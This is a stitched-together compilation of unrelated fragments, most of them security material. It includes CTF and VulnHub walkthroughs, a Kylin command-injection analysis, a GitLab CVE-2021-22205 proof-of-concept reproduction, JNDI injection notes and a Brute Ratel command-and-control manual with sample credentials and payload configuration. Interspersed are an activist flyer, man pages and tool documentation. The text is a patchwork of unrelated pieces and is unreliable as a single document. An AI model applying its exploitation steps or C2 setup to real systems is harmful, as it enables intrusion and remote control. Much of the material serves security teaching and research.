Undetermined Freq. Analysis FAIL! SERIALSNIFF  Firmware upgrade process is done via a custom serial connection.  It is possible to extract the (possibly) decoded ﬁrmware binary from the serial protocol.  Its just a matter of analyzing the serial protocol. PROTOCOLANALYSIS 46 55 a3 00 03 63 40 d7 85 85 32 ea e2 01 6b 85 FU..c@ÖÖ2Í.kÖ 32 a6 d9 d6 e5 df 55 a6 d5 22 04 d6 cd 05 d5 96 2ŸÂﬂU".Õ.ñ 27 85 85 d7 40 a5 d7 32 01 32 e2 85 6b ea 85 d9 'ÖÖ@2.2ÖkÍÖŸ df d5 e5 a6 55 d6 a6 04 2d 27 cd 22 d5 d6 96 85 ﬂÂU.-'Õ"ñÖ a5 01 40 85 d7 d7 81 .@ÖÅ 46 55 23 00 03 63 00 24 FU#..c.$ From Device To Device Fixed Header OpCode Handshake Data Transfer 46 55 90 00 44 49 b8 FUê.DI 46 55 10 00 43 ** 2d 31 ** ** 34 41 2f 31 ** ** FU..C*-1**4A/1** 32 41 00 00 4d 41 49 4e 00 00 00 56 34 32 52 34 2A..MAIN...V42R4 31 37 56 31 30 52 30 38 31 57 37 38 45 36 35 00 17V10R081W78E65. 00 a2 . 46 55 a0 00 43 54 d2 FU.CT 46 55 20 00 00 bb FU ..ª 46


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FreeCulture.org Student movement for free culture free speech free software free culture FreeCulture.org, Inc. P.O. Box 140657 Gainesville, FL 32614-0657 U.S.A. freedom@freeculture.org http://freeculture.org/ FreeCulture.org is a non-profit organization dedicated to promoting and facilitating student involvement in the free culture movement. Launched in April 2004 at Swarthmore College in Pennsylvania, FreeCulture.org has helped establish student groups at colleges and universities across the United States. Today, Free Culture groups exist at nine colleges, with more starting around the world. Founded by two Swarthmore students after suing voting-machine manufacturer Diebold in 2003 for abusing copyright law, FreeCulture.org takes its name from the book Free Culture by Stanford University professor Lawrence Lessig. FreeCulture.org is part of this growing movement, with roots in the free software community, free speech advocates, civil libertarians, media activists, and others. FreeCulture.org is non-partisan and run by the volunteer efforts of students themselves. Each Free Culture campus group is autonomous, and diverse in their interests. Groups with which FreeCulture.org has collaborated include the Electronic Frontier Foundation (EFF), Public Knowledge, Creative Commons, and Downhill Battle. We need your help. Your time, your comments, or your donation help keep us operating and able to help students organize to have a voice in their culture. Your ideas and advice help guide our decision. Please visit our Web site, or join our mailing lists, and help contribute to the discussion. Your effort as a volunteer is vital to our work. Can you help design and administer our Web site? Can you help develop free software tools? Can you help us research issues? Can you help us translate into other languages? Please visit our Web site and see how to lend a hand. We are always interested in new campus groups. If youd like to start a group at your school, please ask us, and we


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資安攻防遊戲 觀念名詞解釋 GD & Desnet Platfor m 運作 平台 Social 社交互動 Platform 系統平台 軟體服務 Service Crypto 加密算法 資安 攻防 層級 CTF 資安攻防遊戲 (Capture The Flag)  模擬真實世界的駭客攻防  現場 4~8 人組隊共 8~20 隊伍  封閉網路 每隊一台主機 若干服務  購物網站 (flag 在會員資料庫中)  電子郵件 (flag 在機密信件中)  線上遊戲 (flag 在任務關卡寶物中)  防守:維持服務在線 阻止flag被偷  五分鐘一個 round 計算 flag 數量  攻擊:設法偷取其他隊伍服務 flag  flag 成功送計分版 平分失手隊分數 資安生命週期 新服務上線 建構防護機制 服務遭受攻擊 減緩攻擊 修復服務 規則 A 四種層級9 大防守技術24 種攻擊技術  3 Rounds per Game  5 Actions per Round  Install :  New Server Cards to generate points.  Defense :  Protect your Servers.  Attack :  Hack opponents for points.  Mitigation :  Repair damage and keep your services alive.  Scoring Round  Gain points for server status of at the end of each round. 伺服器卡 傷害卡 防禦卡 攻擊卡


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# Anonymous Category: Steganography ## Description > **Blast from the Past challenges series** > > In 2017, Anonymous hacked lectures and tutorials to promote the 2nd faculty party, they even hid a message in one of the frames... A PNG file was attached. ## Solution Running `zsteg` on the file reveals the flag: ```console root@kali:/media/sf_CTFs/technion/Anonymous# zsteg anon.png b1,g,lsb,xy .. file: dBase III DBT, version number 0, next free block index 3183084812 b1,g,msb,xy .. file: dBase III DBT, version number 0, next free block index 3177029680 b1,b,msb,xy .. file: dBase III DBT, version number 0, next free block index 4196096609 b1,rgb,lsb,xy .. file: dBase III DBT, version number 0, next free block index 2532068640 b2,g,lsb,xy .. file: dBase III DBT, version number 0, next free block index 3148544642 b2,g,msb,xy .. file: dBase III DBT, version number 0, next free block index 3713359681 b2,b,lsb,xy .. file: dBase III DBT, version number 0, next free block index 3837465664 b2,rgba,lsb,xy .. text: "cstechnion{d0_n0t_b3c0m3_4_m4ch1n3_maN}" b3,r,lsb,xy .. file: MacBinary, more flags 0x7, Mon Feb 6 08:28:16 2040 INVALID date, modified Mon Feb 6 08:28:16 2040, type ' ' "I$\222H$\022A\004\020H$\020I$" b3,g,msb,xy .. file: dBase III DBT, version number 0, next free block index 2454414338 b3,b,msb,xy .. file: StarOffice Gallery theme l\0216h, 0 objects b3,rgb,msb,xy .. file: 0420 Alliant virtual executable not stripped b4,r,lsb,xy .. file: raw G3 (Group 3) FAX, byte-padded b4,g,lsb,xy .. text: "2211#\"21\"" ``` The flag: `cstechnion{d0_n0t_b3c0m3_4_m4ch1n3_maN}`


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The SOA/XML Threat Model and New XML/SOA/Web 2.0 Attacks & Threats Steve Orrin Dir of Security Solutions, SSG-SPI Intel Corp. Agenda Intro to SOA/Web 2.0 and the Security Challenge The XML/SOA Threat Model Details on XML/Web Services & SOA Threats Next Generation and Web 2.0 Threats The Evolving Enterprise and Environment Summary Q&A What is SOA? A service-oriented architecture is essentially a collection of services. These services communicate with each other and the communication can involve either simple data passing or direct application execution also it could involve two or more services coordinating some activity. What is a Service?  A service is a function that is well-defined, self-contained, and does not depend on the context or state of other services. What is a Web Service?  Typically a web service is XML/SOAP based and most often described by WSDL and Schemas. In most SOA implementations a directory system known as UDDI is used to for Web Service discovery and central publication. What is Web 2.0? Web 2.0, a phrase coined by Tim O'Reilly and popularized by the first Web 2.0 conference in 2004, refers to a second generation of web-based communities and hosted services  such as social-networking sites, wikis and folksonomies  which facilitate collaboration and sharing between users. Although the term suggests a new version of the World Wide Web, it does not refer to an update to Web technical specifications, but to changes in the ways software developers and end-users use the web as a platform. Characteristics of Web 2.0  The transition of web-sites from isolated information silos to sources of content and functionality, thus becoming computing platforms serving web applications to end-users  A social phenomenon embracing an approach to generating and distributing Web content itself, characterized by open communication, decentralization of authority, freedom to share and re-use, and "the market as a conversation"  Enhanced organization and categorization


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# 研究方向与相关研究者 ## 目录 [TOC] ## 研究方向与项目 整理一些安全数据分析AI驱动安全相关的研究方向与项目 ### 研究方向 以下来自[郑涵](https://zhuanlan.zhihu.com/p/88042567)师傅的文章 - 通过LSTM自动生成webshell黑样本 - 基于GAN网络绕过现有深度学习AV检测模型 - 基于遗传优化算法的的自动化0day样本生成 - 基于贝叶斯信念网络的入侵回溯推理 - 通过攻击链路中已回溯出来的信息进程网络文件横向关联其他被这个团伙入侵的机器然后继承他们的入侵原因 --- 以下来自[404](https://github.com/404notf0und/FXY/blob/master/docs/%E9%9C%80%E6%B1%82%E5%92%8C%E8%AE%BE%E8%AE%A1.md)师傅的文章 - LSTM识别恶意HTTP请求@cdxy - AI-Driven-WAF@exp-db - Phishing URL Classification@surajr - 使用深度学习检测XSS@Webber - 基于深度学习的恶意样本行为检测@ApplePig@360云影实验室 ### 相关项目 #### 关于数据源 参考本文档的[开放安全数据集整理](https://y1ng.org/TheRoadOfSO/0x4_%E5%AE%89%E5%85%A8%E6%95%B0%E6%8D%AE%E5%88%86%E6%9E%90/%3E%3E%3E%20%E6%95%B0%E6%8D%AE%E9%9B%86/0x0_%E5%BC%80%E6%94%BE%E5%AE%89%E5%85%A8%E6%95%B0%E6%8D%AE%E9%9B%86%E6%95%B4%E7%90%86/) #### 学习笔记和资料整合 - [AI-for-Security-Learning](https://github.com/404notf0und/AI-for-Security-Learning) - 安全场景基于AI的安全算法和安全数据分析学习笔记偏工程类学习笔记持续阅读保持对业界技术的跟进和迭代[404 Not Found](https://4o4notfound.org/)师傅的整理一个学习笔记 - [Security Data Science Learning Resources](https://medium.com/@jason_trost/security-data-science-learning-resources-8f7586995040) - 国外研究者[Jason Trost](http://www.covert.io/)整理的安全数据科学学习资料 ## 相关研究者与团队 安全数据分析是一个较为前沿和专业的领域入门的门槛相对较高整理相关研究者信息的目的也是为了能看到这个领域内他人的研究大概方便初学者看到方向 ### 国内 #### 个人 \[1] cdxy徐越, 阿里云 安全工程师企业安全/入侵检测与响应  数据分析/机器学习爱好者[知乎](https://www.zhihu.com/people/xu-le-zhen-13) \[2] ailx10[知乎](https://www.zhihu.com/people/ailx10/columns) \[3] 404 Not F0und蚂蚁金服有同名公众号 \[4] tanjiti碳基体[个人博客](https://tanjiti.github.io/about/)在[百度](https://www.baidu.com/)做安全产品研发业余专注在入侵检测与大数据安全分析 \[5] wstart[先知社区](https://xz.aliyun.com/u/395) \[6] 郑瀚Andrew_Hann阿里云盾机器学习与网络安全[知乎](https://www.zhihu.com/people/ai-shai-tai-yang-de-feng-51/posts)[博客园](https://www.cnblogs.com/LittleHann/) \[7] 邹先生[freebuf](https://www.freebuf.com/author/%E9%82%B9%E5%85%88%E7%94%9F007) \[8] 四个菜CSDN[xbs118](https://blog.csdn.net/qq_38262728) \[9] six[语雀](https://www.yuque.com/u447199)[论文笔记](https://www.yuque.com/u447199/fnixs3) \[10] 黄诚[个人主页](http


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环境搭建 ubuntu docker 8g docker pull apachekylin/apache-kylin-standalone:4.0.0 docker run -d \ -m 8G \ -p 7070:7070 \ -p 8088:8088 \ -p 50070:50070 \ -p 8032:8032 \ -p 8042:8042 \ -p 2181:2181 \ -p 5005:5005 \ apachekylin/apache-kylin-standalone:4.0.0 5005是远程调试端口 Kylin 页面http://127.0.0.1:7070/kylin/login admin KYLIN HDFS NameNode 页面http://127.0.0.1:50070 YARN ResourceManager 页面http://127.0.0.1:8088 具体看官方的docker安装文档 https://kylin.apache.org/cn/docs/install/kylin_docker.html 远程调试配置修改 /home/admin/apache-kylin-4.0.0-bin-spark2/bin/kylin.sh 在retrieveStartCommand函数修改 $JAVA ${KYLIN_EXTRA_START_OPTS} ${KYLIN_TOMCAT_OPTS} -Xdebug - Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005 -classpath ${KYLIN_TOMCAT_CLASSPATH} org.apache.catalina.startup.Bootstrap start >> ${KYLIN_HOME}/logs/kylin.out 2>&1 & echo $! > ${KYLIN_HOME}/pid & 分析 在 org.apache.kylin.rest.controller.DiagnosisController#dumpProjectDiagnosisInfo 中 跟进dumpProjectDiagnosisInfo 这里getProject()通过 ValidateUtil.convertStringToBeAlphanumericUnderscore(project) 处理但 是 runDiagnosisCLI(args) 中接受的cmd参数仍然是通过project传过来的相当于命令行可控 而且 getProject(ValidateUtil.convertStringToBeAlphanumericUnderscore(project)) 将传入的命 令进行如下处理将除数字字母下划线以外的东西替换为空比如传入命令为 touch 123 将被 替换为 touch123 public static String convertStringToBeAlphanumericUnderscore(String toBeConverted) { return toBeConverted.replaceAll("[a-zA-Z0-9_]", ""); } 刚好解决 projectInstance==null 抛出异常的问题 if (null == projectInstance) { throw new BadRequestException( String.format(Locale.ROOT, msg.getDIAG_PROJECT_NOT_FOUND(), project)); } 最后执行的命令如下 再来看创建项目的地方 org.apache.kylin.rest.controller.ProjectController#saveProject 项目名进行 ValidateUtil.isAlphanumericUnderscore() 校验不能有数字字母下划线以外的东 西 完整的利用方式如下以执行命令 touch 123 为例 先创建项目项目名为 touch123 接下来触发命令执行 执行成功 修复方式 git的diff 传入cmd的参数改为projectName而非http传入的projectprojectName经过了 convertStringToBeAlphanumericUnderscore() 处理所以无法输入非字母数字下划线的字符来触 发命令执行 总结 巧妙利用两个函数对于参数处理的特性来进行命令执行值得一学 参考 1. https://securitylab.github.com/advisories/GHSL-2021-1048_GHSL-2021-1051


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国内SRC漏洞挖掘经验和技巧分享 ID: PwnDog\硬糖_zzz 唐朝 | 成都体育学院体育新闻专业 前PKAV团队成员 研究方向: Web安全以及...... 关于我 1.SRC个人推荐 2.SRC的规则 3.漏洞挖掘中的个人经验和技巧分享 目录 同程 网易 360 唯品会 腾讯 阿里巴巴 京东 小米 陌陌 滴滴 百度 蚂蚁金服 SRC个人推荐 备注:排名不分先后只为排版好看 白帽子 1.合规手段 2.点到为止 3.漏洞保密 SRC的规则 信息收集 1.厂商域名 2.厂商IP段 3.厂商业务信息 域名收集 1. 基于SSL证书查询 2. 第三方网站接口查询 3. Github 4. DNS解析记录 5. 子域名枚举等等 域名收集 基于SSL证书查询 1.censys.io 2.crt.sh 第三方接口查询网站 1. riskiq 2. shodan 3. findsubdomains 4. censys.io 5. dnsdb.io 案例 案例 案例 案例 案例 案例 IP段收集 ipwhois.cnnic.net.cn IP段收集 IP段收集 ipwhois.cnnic.net.cn IP段收集 端口扫描 Python+Masscan+Nmap 端口扫描 遇到防火墙时 端口扫描 端口扫描 端口扫描 Nmap参数 -sV //识别服务 -sT //只需普通用户权限 -Pn //跳过主机发现过程 --version-all //全部报文测试 --open //只探测开放端口 字典的收集与使用优化 字典的获取 用之于民取之于民 字典获取 域名类字典 https://opendata.rapid7.com/sonar.rdns_v2/ https://opendata.rapid7.com/sonar.fdns_v2/ 300G 脏数据剔除 体力活 站点类字典 1.目录类 2.可执行脚本类 3.参数类 4.静态资源类(js) 字典获取 站点类字典 1000+ Code AND Regex! 字典获取 字典获取 字典获取 字典获取 案例 Uber 某站二次注入 JS泄露API+API爆破+参数爆破=二次注入 案例 案例 案例 案例 403 or 404 此地无银三百两! 案例 案例 案例 http://106.**.**.147/adver/landing.php?mac=1 字典的使用优化 量大 关键词入库 增加计数int字段 扫描器命中时增加计数 下次提取字典时降序提取 业务安全 业务是核心,但也有薄弱点 1.非普通用户拥有的权限如商家合作方 2.新上线业务 APP测试 SSL Pining 越狱ios禁止SSL Pinning抓App Store的包 ios: http://pwn.dog/index.php/ios/ios-disable-ssl-pinning.html 瘦蛟舞安卓证书锁定解除的工具 Android: https://github.com/WooyunDota/DroidSSLUnpinning END 谢谢大家


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.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH SHA384SUM 1 2022年9月 "GNU coreutils 9.1" 用户命令 .SH 名称 sha384sum \- 计算并校验 SHA384 信息摘要 .SH 概述 \fBsha384sum\fP [\fI\,选项\/\fP]... [\fI\,文件列表\/\fP]... .SH 描述 .\" Add any additional description here .PP 输出或检查 SHA384 (384位) 校验和 .PP 如果没有指定文件或者指定文件为\-则从标准输入读取 .TP \fB\-b\fP, \fB\-\-binary\fP 以二进制模式读入 .TP \fB\-c\fP, \fB\-\-check\fP 从指定文件中读取校验和信息并对它们进行检查 .TP \fB\-\-tag\fP 创建一个 BSD 风格的校验和 .TP \fB\-t\fP, \fB\-\-text\fP 以文本模式读入默认 .TP \fB\-z\fP, \fB\-\-zero\fP 以 NUL 空字符而非换行符结束每一输出行同时禁用文件名转义 .SS 下面五个选项仅在验证校验和时有用 .TP \fB\-\-ignore\-missing\fP 遇到缺失的文件时不报告错误保持静默 .TP \fB\-\-quiet\fP 不要为每个成功验证的文件显示成功信息 .TP \fB\-\-status\fP 不要输出任何信息由返回值判断成功与否 .TP \fB\-\-strict\fP 为没有正确格式化的校验和文字行给出非零返回值 .TP \fB\-w\fP, \fB\-\-warn\fP 为没有正确格式化的校验和文字行给出警告信息 .TP \fB\-\-help\fP 显示此帮助信息并退出 .TP \fB\-\-version\fP 显示版本信息并退出 .PP 校验和按照 FIPS\-180\-2 描述的方式进行计算在校验过程中其输入内容应当为该程序先前的输出内容默认模式是输出一行文字包含校验和一个指示输入模式的字符'*' 指示二进制输入' ' 指示二进制特性不明显的文本输入以及每个文件的名称 .PP 注意GNU 系统上二进制模式和文本模式没有区别 .SH 作者 由 Ulrich Drepper, Scott Miller 和 David Madore 编写 .SH 报告错误 GNU coreutils 的在线帮助 <https://www.gnu.org/software/coreutils/> .br 请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误 .SH 版权 Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. .br 本软件是自由软件您可以自由修改和重新发布它在法律允许的范围内不提供任何保证 .SH 参见 \fBcksum\fP(1) .PP .br 完整文档请见 <https://www.gnu.org/software/coreutils/sha384sum> .br 或者在本地使用 info \(aq(coreutils) sha2 utilities\(aq


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znew === 将.Z压缩包重新转化为gzip命令压缩的.gz压缩包 ## 补充说明 **znew命令** 用于将使用compress命令压缩的.Z压缩包重新转化为使用gzip命令压缩的.gz压缩包 ### 语法 ```shell znew(选项)(参数) ``` ### 选项 ```shell -f# 强制执行转换操作即是目标.gz已经存在 -t# 删除原文件前测试新文件 -v# 显示文件名和每个文件的压缩比 -9# 使用最高压缩率速度较慢 -P# 使用管道完成转换操作以降低磁盘空间使用 -K# 当.Z文件比.gz文件小时保留.Z文件 ``` ### 参数 文件指定compress指令压缩生成的.Z压缩包


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# Sedna > https://download.vulnhub.com/hackfest2016/Sedna.ova 靶场IP`192.168.32.197` 扫描对外端口服务 ``` (rootkali)-[/tmp] # nmap -p 1-65535 -sV 192.168.32.197 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-02 03:56 EDT Nmap scan report for 192.168.32.197 Host is up (0.0017s latency). Not shown: 65523 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0) 53/tcp open domain ISC BIND 9.9.5-3 (Ubuntu Linux) 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) 110/tcp open pop3 Dovecot pop3d 111/tcp open rpcbind 2-4 (RPC #100000) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 143/tcp open imap Dovecot imapd (Ubuntu) 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 993/tcp open ssl/imaps? 995/tcp open ssl/pop3s? 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 48824/tcp open status 1 (RPC #100024) MAC Address: 00:0C:29:0E:11:4D (VMware) Service Info: Host: SEDNA; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 17.71 seconds ``` 访问80端口 ![image-20220902162451408](../../.gitbook/assets/image-20220902162451408.png) 爆破web目录 ``` (rootkali)-[/tmp] # dirb http://192.168.32.197 ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Fri Sep 2 04:25:23 2022 URL_BASE: http://192.168.32.197/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://192.168.32.197/ ---- ==> DIRECTORY: http://192.168.32.197/blocks/ ==> DIRECTORY: http://192.168.32.197/files/ + http://192.168.32.197/index.html (CODE:200|SIZE:101) ==> DIRECTORY: http://192.168.32.197/modules/ + http://192.168.32.197/robots.txt (CODE:200|SIZE:36) + http://192.168.32.197/server-status (CODE:403|SIZE:294) ==> DIRECTORY: http://192.168.32.197/system/ ==> DIRECTORY: http://192.168.32.197/themes/ ----


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Metasploit vSploit Modules 1 Marcus J. Carey David bannedit Rude Will Vandevanter Outline  Objective of vSploit Modules  Metasploit Framework architecture  What are Metasploit modules?  vSploit modules  vSploit and Intrusion Kill Chains  vSploit and Intrusion Kill Chains  Writing Metasploit Modules  Live Demo 2  Metasploit Project founded in 2003  Open Source penetration testing platform based with over 1 million downloads in the past year  Acquired by Rapid7 in 2009  HD Moore joined Rapid7 as Chief Security Office and Chief Metasploit overview  HD Moore joined Rapid7 as Chief Security Office and Chief Architect of Metasploit  Rapid7 remains committed to the Community  Metasploit Framework is the foundation for the commercial editions Metasploit Express and Metasploit Pro 3 LIBRARIES INTERFACES Rex MSF Core Console CLI TOOLS Metasploit Framework Architecture MODULES MSF Core MSF Base Payload Encoder NOP Auxiliary PLUGINS RPC Exploit GUI & Armitage 4 LIBRARIES INTERFACES Rex MSF Core Console CLI TOOLS Metasploit Framework Architecture MODULES MSF Core MSF Base Payload Encoder NOP Auxiliary PLUGINS RPC Exploit GUI & Armitage 5 What are Metasploit Modules?  More than just exploits  Payloads  the arbitrary code you hear about in advisories  Encoders  add entropy to payloads, remove bad characters  NOP  create sophisticated nopsleds  Auxiliary  Like an exploit module but without a payload  Underappreciated 6 Which would you pick for a training drill? Live Ammo? Or Paint Balls? 7 = Live Exploits = vSploit Modules Introducing: vSploit Modules  New spin on auxiliary modules  Focus on attack response emulation  Not intended for exploitation  Continues with Metasploit roots as security testing and validation framework  Allows organizations to understand their current security  Allows organizations to understand their current security investment  Stand-alone compatibility  No exploitation used  Possible to remove exploit modules if necessary in some environments 8  Evaluate de


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# GitLab 远程命令执行漏洞CVE-2021-22205 GitLab是一款Ruby开发的Git项目管理平台在11.9以后的GitLab中因为使用了图片处理工具ExifTool而受到漏洞[CVE-2021-22204](https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html)的影响攻击者可以通过一个未授权的接口上传一张恶意构造的图片进而在GitLab服务器上执行任意命令 参考链接 - https://hackerone.com/reports/1154542 - https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html - https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/ - https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-22205.yaml ## 漏洞环境 执行如下命令启动一个GitLab 13.10.1版本服务器 ``` docker compose up -d ``` 环境启动后访问`http://your-ip:8080`即可查看到GitLab的登录页面 ## 漏洞复现 GitLab的/uploads/user接口可以上传图片且无需认证利用[poc.py](poc.py)脚本来测试这个漏洞 ``` python poc.py http://your-ip:8080 "touch /tmp/success" ``` ![](1.png) 进入容器内可见`touch /tmp/success`已成功执行 ![](2.png)


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jndi注入高版本绕过与反序列化 昨天群里聊到这了虽然都是炒冷饭但有些细节可能分析清楚点也有好处主要分析分三个部分 1jndi注入的原理 2jndi注入与反序列化的关系 3jndi注入与jdk版本的关系 jndi注入的原理 jndi是java用于访问目录和命名服务的 API使用jndi进行查询本来是一个正常的功能但由于实现时没 有考虑安全问题如果查询恶意对象就会导致被攻击但攻击的结果并不一定是rce jndi的查询大致可以分两步 1客户端请求一个命名服务并获取一个对象 2客户端解析这个对象 那么漏洞出现在哪步呢实际上是两步都有可能因为jndi支持RMILDAPCORBADNS四种协议 每种都对应不同的实现支持绑定的对象有序列化对象引用对象属性对象等所以攻击路径很多 漏洞也很多 在攻击中常用的有jndi+rmi和jndi+ldap实际上corba也可以用于攻击但基本能用corba打的都能用 rmi打并且流程很啰嗦所以这里就分析这jndi+rmi和jndi+ldap两种实现 jndi+rmi 关键代码在RegistryContext#lookup 可以看到第一步远程对象obj是通过原生rmi的lookup获取的了解rmi的就知道是通过反序列化获取 的实际上如果系统里有gadget这一步反序列化的时候就可以导致代码执行了 然后第二步在decodeObject里面对获取到的对象进行了解析 逻辑在RegistryContext#decodeObject里面 public Object lookup(Name name) throws NamingException { if (name.isEmpty()) { return (new RegistryContext(this)); } Remote obj; try { obj = registry.lookup(name.get(0)); } catch (NotBoundException e) { throw (new NameNotFoundException(name.get(0))); } catch (RemoteException e) { throw (NamingException)wrapRemoteException(e).fillInStackTrace(); } return (decodeObject(obj, name.getPrefix(1))); private Object decodeObject(Remote r, Name name) throws NamingException { try { Object obj = (r instanceof RemoteReference) ? ((RemoteReference)r).getReference() 注释里写的很明白如果com.sun.jndi.rmi.object.trustURLCodebase为true就可以通过codebase加载 任意远程类导致代码执行这个校验是在jdk8u121开启的并且是加在RegistryContext里面的也 就是只对了jndi的rmi实现作了限制所以后续才会有ldap的绕过 然后调用的是NamingManager.getObjectInstance这个函数就是前面说的所谓的解析远程对象的函 数 : (Object)r; /* * Classes may only be loaded from an arbitrary URL codebase when * the system property com.sun.jndi.rmi.object.trustURLCodebase * has been set to "true". */ // Use reference if possible Reference ref = null; if (obj instanceof Reference) { ref = (Reference) obj; } else if (obj instanceof Referenceable) { ref = ((Referenceable)(obj)).getReference(); } if (ref != null && ref.getFactoryClassLocation() != null && !trustURLCodebase) { throw new ConfigurationException( "The object factory is untrusted. Set the system property" + " 'com.sun.jndi.rmi.object.trustURLCodebase'


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# PWNOS2.0 下载地址https://download.vulnhub.com/pwnos/pWnOS_v2.0.7z ## 实战演练 靶机的IP为静态地址10.10.10.100 ![](../../.gitbook/assets/1554693388_5caabd0c3e7d2.png) ![](../../.gitbook/assets/1554694670_5caac20e45fbe.png) ![](../../.gitbook/assets/1554694907_5caac2fbf22db.png) ![](../../.gitbook/assets/1554695434_5caac50a20765.png) 这里面有注入漏洞sqlmap跑一下 ![](../../.gitbook/assets/1554695515_5caac55b07d54.png) 注入漏洞 ![](../../.gitbook/assets/1554695657_5caac5e91b7d2.png) 写入反弹shell ![](../../.gitbook/assets/1554696629_5caac9b5af8c1.png) ![](../../.gitbook/assets/1554696686_5caac9ee3d127.png) nc监听 ![](../../.gitbook/assets/1554696889_5caacab92274c.png) 查找密码找到了这个密码不能登录 ![](../../.gitbook/assets/1554697172_5caacbd461971.png) 找到了这个密码可以登录 ![](../../.gitbook/assets/1554697328_5caacc70deaa2.png) 另外一种思路 ![](../../.gitbook/assets/1554702181_5caadf6522235.png) blog系统版本 ![](../../.gitbook/assets/1554702244_5caadfa4e66f2.png) 查找漏洞的版本 ![](../../.gitbook/assets/1554702441_5caae0696e3d7.png) 使用exp ![](../../.gitbook/assets/1554702616_5caae11847de4.png) 不知道为什么没有生成cookie就这样把


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BRC4 - Brute Ratel Customized Command and Control Center Ratel War Room Ratel Server - TeamServer API Ratel War Room is an API driven server which works over HTTP and WebSocket Start Mode Ratel Mode Ratel mode is the core server mode which interacts with badgers, starts listener and is your main C2 communication channel. Boomerang Mode In Boomerang mode, the server acts as a standalone socks and HTTPS proxy server. APIs /access /status /task Brute Commander Warmongers - Users Add Warmonger C4 profiles { "admin_list": { "admin": "admin@123" }, "user_list": { "brute": "password@123", "ratel": "password@123" } } Delete Warmonger Reset Warmonger Warmonger List Covert Communication C4 Profilers export import C4 Profiler - Listners Add Listeners Create Listener C4 Profiler->Add Listener C2 Authentication Common Authentication for all badgers OTA or One Time Authentication View Authentication Change Authentication Stop Listener Hosted Files Add New URI Listener Actions->Add New URI Host Files Listener Actions->Host File View Hosted C4 Profiler->Hosted Files Root Page Manager C4 Profiler->Change Root Page C4 Profiler - Payload Payload Profiles via Brute Commander HTTP SMB TCP Payload Profiles via C4 Profilers { "payload_config": { "main_http": { "c2_auth": "abcd@123", "c2_uri": [ "content.php", "admin.php" ], "extra_headers": { "Cache-Control": "no-cache", "Connection": "close", "Cookie": "AUTH-1babbba6265ca2eba78b65bda5e34545c32a95b2; Version=default; id=a3fWa; Expires=Thu 31 Oct 2021 07:28:00 GMT;", "Pragma": "no-cache", "Referer": "https://mail.microsoft.com", "x-pm-apiversion": "3", "x-pm-appversion": "Web_3.16.33", Badger Management - Beacon Management Badger Console double clicking a badger or right clicking and selecting the Load button Process Manager "x-pm-uid": "d0e1f5b0dc08202064de25a", "Host": "test.azureedge.net" }, "host": "10.10.10.1", "port": "443", "ssl": true, "type": "HTTP", "useragent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 F


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--- title: dex2jar categories: Hardware Hacking tags: [dex2jar,Hardware Hacking,kali linux] date: 2019-06-25 11:19:00 --- 0x00 dex2jar介绍 ------------- dex2jar包含以下这些组件: - dex读取器用来读取Dalvik可执行文件(.dex/.odex)它有与ASM相似的轻量级API - dex翻译器用来进行转换它以dex-ir格式读入dex指令经过一些调整转换为ASM格式 - dex-ir在翻译器中使用用来表示dex指令 - dex工具用来处理.class文件例如修改apk文件反混淆jar文件等 - d2j-smali [待发布]反汇编dex文件将之还原为smali文件或从smali文件编译为dex文件 与smali/baksmali的执行方式不同两者语法相同但是本工具支持在desc类型中的转义Lcom/dex2jar\t\u1234; - dex写入器[待发布]以和dex读取器相同的方式写入数据 原项目地址: https://github.com/pxb1988/dex2jar/ dex2jar主页 | [Kali上的dex2jar项目](http://git.kali.org/gitweb/?p=packages/dex2jar.git;a=summary) - 作者: Panxiaobo - 证书: Apache-2.0 0x01 包含的工具 ---------------- ##### d2j-jar2dex  调用dx将jar转换为dex ``` root@kali:~# d2j-jar2dex -h d2j-jar2dex -- 调用dx将jar转换为dex 用法: d2j-jar2dex [参数] <目录> 参数: -f,--force 强制覆写 -h,--help 显示此帮助信息 -o,--output <out-dex-file> 输出.dex文件默认路径是$current_dir/[jar-name]-jar2dex.dex 版本: 0.0.9.15 ``` ##### d2j-jar-remap重命名jar文件中的包(package)/类(class)/方法(method)/域(field) ``` root@kali:~# d2j-jar-remap -h d2j-jar-remap -- 重命名jar文件中的包(package)/类(class)/方法(method)/域(field) 用法: d2j-jar-remap [参数] <jar文件路径> 参数: -c,--config <config> 重构用到的的配置文件此项必须指定 -f,--force 强制覆写 -h,--help 显示此帮助信息 -o,--output <out-jar> 输出.jar文件默认路径是$current_dir/[jar-name]-remap.jar 版本: 0.0.9.15 在线帮助文档: https://code.google.com/p/dex2jar/wiki/DeObfuscateJarWithDexTool ``` ##### d2j-dex2jar将dex转换为jar ``` root@kali:~# d2j-dex2jar -h d2j-dex2jar -- 将dex转换为jar 用法: d2j-dex2jar [参数] <0号文件> [其他文件] options: -d,--debug-info 翻译调试信息 -e,--exception-file <file> 具体的异常信息文件默认是$current_dir/[file-name]-error.zip -f,--force 强制覆写 -h,--help 显示此帮助信息 -n,--not-handle-exception 不捕获dex2jar抛出的任何异常 -o,--output <out-jar-file> 